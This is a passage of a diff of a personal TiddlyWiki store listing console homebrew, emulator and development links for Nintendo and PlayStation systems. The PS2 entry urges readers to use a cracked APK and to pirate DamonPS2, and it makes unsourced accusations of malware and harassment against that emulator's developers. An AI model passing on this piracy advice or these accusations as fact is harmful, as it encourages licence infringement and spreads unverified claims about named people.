succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) [[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"}, {"title":"Nintendo DS/Software Requiring Only the Bottom Screen","created":"20221018215927772","modified":"20230206111552237","modifier":"Octt","tags":"Nintendo NDS Gaming $:/i18n:en","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>"}, -{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240107005726632","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System//\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|]]\n* [[NesDs|]]\n"}, +{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119012237016","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"}, {"title":"Nintendo Switch","created":"20220925130302833","creator":"Octt","modified":"20231210220557478","modifier":"Octt","tags":"Nintendo Gaming NX Console","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003Cibox \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.\n\n!!! Misc\n\n* [[Internet Browser [Switchbrew]|https://switchbrew.org/wiki/Internet_Browser]]\n** Apparently from FW 10.0, Nintendo being corporate shitlords added a [[Browser Timeout: \"This Screen will be closed.\"|https://browsedns.net/topic/25/browser-timeout-this-screen-will-be-closed]]\n\n!!! ''Emulators''\n\n* [[Yuzu|https://yuzu-emu.org/]] --- //experimental open-source Switch emulator from the creators of Citra// --- \u003C\u003C#[ Git \"https://github.com/yuzu-emu\">>\n* [[Ryujinx|https://ryujinx.org/]] --- //simple, experimental Nintendo Switch emulator// --- \u003C\u003C[# Git \"https://github.com/Ryujinx\">>\n* [[Skyline|https://skyline-emu.one/]] --- //Run Nintendo Switch homebrew & games on your Android device!// --- \u003C\u003C[# Git \"https://github.com/skyline-emu\">>\n** Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)\n** A slow-going fork has apparently started: [[Strato|https://github.com/strato-emu/strato]]\n\n!!! ''Homebrew, Tools, Hacks''\n\n* Alternative OSes: [[Ubuntu]] and [[LineageOS]] by ''[[switchroot|https://switchroot.org/]]''\n* Custom Firmware: The real best today is [[Atmosphère-NX|https://github.com/Atmosphere-NX]] + related libs.\n* Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): \u003C\u003C[ \"[[WiiDatabase|https://wiidatabase.de/switch-downloads/hacks/signatur-patches/]]\">> \u003C\u003C[ \"[[Hackintendo|https://hackintendo.com/download/sigpatches/?PageSpeed=noscript]]\">> \u003C\u003C[ \"[[ShadowOne333|https://gbatemp.net/threads/sigpatches-for-atmosphere-hekate-fss0-fusee-package3.571543/]]\">>. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.\n\n* \u003C\u003Clinkdesc nsz \"https://github.com/nicoboss/nsz\" \"Homebrew compatible NSP/XCI compressor/decompressor\">>\n\n* [[Goldleaf|https://gbatemp.net/download/goldleaf-nintendo-switch-title-installer-manager.35430/]] --- //🍂 Multipurpose homebrew tool for Nintendo Switch// --- \u003C\u003C[# Git \"https://github.com/XorTroll/Goldleaf\">>\n* [[Tinleaf|https://github.com/blawar/tinleaf]] --- //No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch// (forked from [[Awoo Installer|https://github.com/Huntereb/Awoo-Installer]] without the furry crap) --- \u003C\u003C[# Thread \"https://gbatemp.net/threads/tinleaf-installer-a-no-bullshit-no-bullshit-nsp-nsz-xci-xcz-installer.559892/\">>\n\n!!! Development\n\n* [[SwitchBrew Wiki|https://switchbrew.org/wiki/Main_Page]]\n** [[switchbrew/switch-examples|https://github.com/switchbrew/switch-examples]] --- //Switch examples for devkitA64 and libnx//\n"}, {"title":"Nitter:en","created":"20230110214847556","modified":"20230206111552254","modifier":"Octt","tags":"Internet $:/i18n:en","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n"}, {"title":"Nix","created":"20230302114148119","creator":"Octt","modified":"20230302114846402","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Nix (package manager)\">>\n\n* [[Zero to Nix|https://zero-to-nix.com/]] - //An unofficial, opinionated, gentle introduction to Nix//\n* \u003C\u003CYouTubeL 2L2qHfNnXB4 \"NixOS: a sales pitch\">> - A 20-minutes introduction from the ground-up to Nix and [[NixOS]].\n"}, @@ -1345,7 +1346,7 @@ {"title":"Pixel Art","created":"20230216224545924","creator":"Octt","modified":"20230217074832837","modifier":"Octt","tags":"Art Digital Visual","text":"\u003C\u003C^wikipediaframe \"Pixel Art\" en>>"}, {"title":"Pixelfed:en","created":"20230114154328830","modified":"20230206111552333","modifier":"Octt","tags":"Fediverse TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed"}, {"title":"PlayStation","created":"20231219123628187","creator":"Octt","modified":"20231222113923429","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PlayStation>>\n\n* [[PlayStation Developer Wiki|https://www.psdevwiki.com]] (concerning all PS consoles)\n\n* [[Dodgy Keblog|https://dodgyke.blogspot.com/]] --- //The DodgyKebaab PlayStation Save File repository//\n\n* [[どこでもいっしょ.com (PlayStation)|https://www.playstation.com/ja-jp/games/dokodemoissyo/]]\n** //''[[Doko Demo Issyo Wiki|https://dokodemo.fandom.com/]]'' is a collaborative website about the Doko Demo Issyo series that anyone can edit!//\n** \u003C\u003CYoutubeL 0x8Tgm9s068 \"PlayStation’s Forgotten Official Mascot - The Complete History of Toro Inoue & Doko Domo Issyo\">>\n"}, -{"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20231123221852893","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds !|https://github.com/ABelliqueux/nolibgs_hello_worlds]] --- //Collection of PsyQ basic examples NOT using libgs//\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"}, +{"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20240119011653678","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[PSX.Dev|https://www.psx.dev/]] --- //Welcome to our community dedicated to PlayStation1 homebrew.//\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>>, \u003C\u003ChttpsL psx.schnappy.xyz>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds / demo disc!|https://abelliqueux.itch.io/nolibgs-demo-disc]] --- //Collection of PsyQ basic examples NOT using libgs// --- \u003C\u003C#[ Git \"https://github.com/ABelliqueux/nolibgs_hello_worlds\">>\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"}, {"title":"PlayStation 2","created":"20230215232019778","creator":"Octt","modified":"20231102232229939","modifier":"Octt","tags":"Console Gaming Sony","text":"\u003C\u003C^WikipediaFrame \"PlayStation 2\" en>>\n\n* \u003C\u003CYoutubeL J7LL5zEUHZo \"Can the PS2 Emulate the N64? Plus RetroArch and Other Emulation Oddities! [Sharopolis]\">>\n\n!!! Emulators\n\n* \u003C\u003Clinkdescgit PCSX2 \"https://pcsx2.net\" \"free and open-source PlayStation 2 (PS2) emulator\" \"https://github.com/PCSX2/pcsx2\">>\n* \u003C\u003Clinkdescgit \"Play!/Purei\" \"https://purei.org\" \"PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms\" \"https://github.com/jpd002/Play-\">> \u003C\u003C[# Compatibility \"https://github.com/jpd002/Play-Compatibility/issues\">> --- promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.\n* [[AetherSX2|https://aethersx2.com]] abandoned //emulator of the PS Two console for the Android platform, desktop, UWP//, miles better than DamonPS2 despite the problems.\n** Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is [[v1.4-3060|https://www.apkmirror.com/apk/aethersx2/aethersx2/aethersx2-v1-4-3060-release/]].\n** Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...\n\n* [[DamonPS2|http://www.damonemu.com/]] --- The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).\n** [[Stole PCSX2 code without at all respecting the license|https://pcsx2.net/blog/2018/the-pcsx2-teams-statement-regarding-the-damonps2-emulator/]], and also [[steals trademarks like the PPSSPP name|http://web.archive.org/web/20230501085937/https://play.google.com/store/apps/details?id=com.damonplay.damonps2.free]]. Don't give them any money, find a cracked pro APK without ads if you really want to use it, and (as a random user on Reddit said) [[pirate the shit out of it and don't feel bad about it|https://old.reddit.com/r/EmulationOnAndroid/comments/bhdxow/question_is_damon_stolen_code/els800b/]], really you won't be doing anything more wrong than buying, because ''official DamonPS2 is in itself an illegal pirated version of PCSX2''. They also consistently deny the evidence of stolen code and use an \u003C\u003CRedditL \"r/EmulationOnAndroid/comments/qs4nye/for_all_those_people_who_hate_damon_ps2/\" \"excuse of having a 'copyright certificate of the Chinese government'\">> as if that would mean anything when talking international copyright.\n** Some people speculate that among the individuals that harassed Tahlreth there could also have been DamonPS2 developers/henchmen, desperate to make the wonderful AetherSX2 end after they failed at destroying it by fake DMCA requests.\n"}, {"title":"PlayStation Portable","created":"20230202110726082","creator":"Octt","modified":"20240110004702177","modifier":"Octt","tags":"Gaming Sony Console $:/i18n:en WIP","text":"\u003C\u003C^wikipediaframe PlayStation_Portable en>>\n\n* [[pspunk - PSP Guides & Resources|https://www.pspunk.com/]]\n\n* [[How to connect your PSP on Linux|https://gist.github.com/mhitza/81651f49b3a43e6f4554]] --- if it doesn't work automatically, do `sudo modprobe usb-storage`\n** \u003C\u003CRedditL r/PSP/comments/54tuxr/guide_remotejoy_on_linux_with_6xx_fw \"[GUIDE] Remotejoy on linux with 6.xx fw\">> --- //The Guide to displaying your PSP screen on your PC over usb on linux// (... apparently not working for me but I'll save)\n\n* [[joysens|https://github.com/albe/joysens]] --- //Infamous PSP Plugin for fixing broken Joysticks on the Playstation Portable//\n** \u003C\u003CRedditL r/PSP/comments/gtid7b/how_do_you_disable_the_analog_stick_entirely \"How do you disable the analog stick entirely?\">>\n\n* [[PPSSPP|https://www.ppsspp.org]] --- //PSP emulator for Android, Windows, Mac and Linux, written in C++.// --- \u003C\u003C[# Git \"https://github.com/hrydgard/ppsspp\">>\n"}, {"title":"PocketGo","created":"20230205150132792","creator":"Octt","modified":"20230205150144435","modifier":"Octt","tags":"TODO"}, @@ -1384,7 +1385,7 @@ {"title":"Saved/News","created":"20230304233558003","creator":"Octt","modified":"20230306170246187","modifier":"Octt","tags":"","text":"Headlines saved as future bookmarks that don't really fit into other tiddlers.\n\n; March 2023\n: [[Secret Service, ICE break the law over and over with fake cell tower spying|https://www.theregister.com/2023/03/04/dhs_secret_service_ice_stingray/]].\n: [[Plan to incinerate soil from Ohio train derailment is ‘horrifying’, says expert|https://www.theguardian.com/us-news/2023/mar/04/east-ohio-train-derailment-soil]] - //Soil is being sent to a nearby incinerator with a history of clean air violations, raising fears the chemicals will be redistributed//.\n: [[Leaked audio reveals US rail workers were told to skip inspections as Ohio crash prompts scrutiny to industry|https://www.theguardian.com/us-news/2023/mar/03/us-rail-workers-east-palestine-ohio-train-crash]] - //employee says manager told her to stop marking cars for repair, as Ohio derailment brings hard look at industry’s record of blocking safety rules//.\n: [[Denver’s e-bike subsidy program produced more new riders, fewer car trips|https://www.ridereport.com/blog/ebike-inventive-programs]].\n: [[Vittorio Feltri sui migranti: \"Agli extracomunitari ricordo un vecchio detto italiano: partire è un po' morire. State a casa 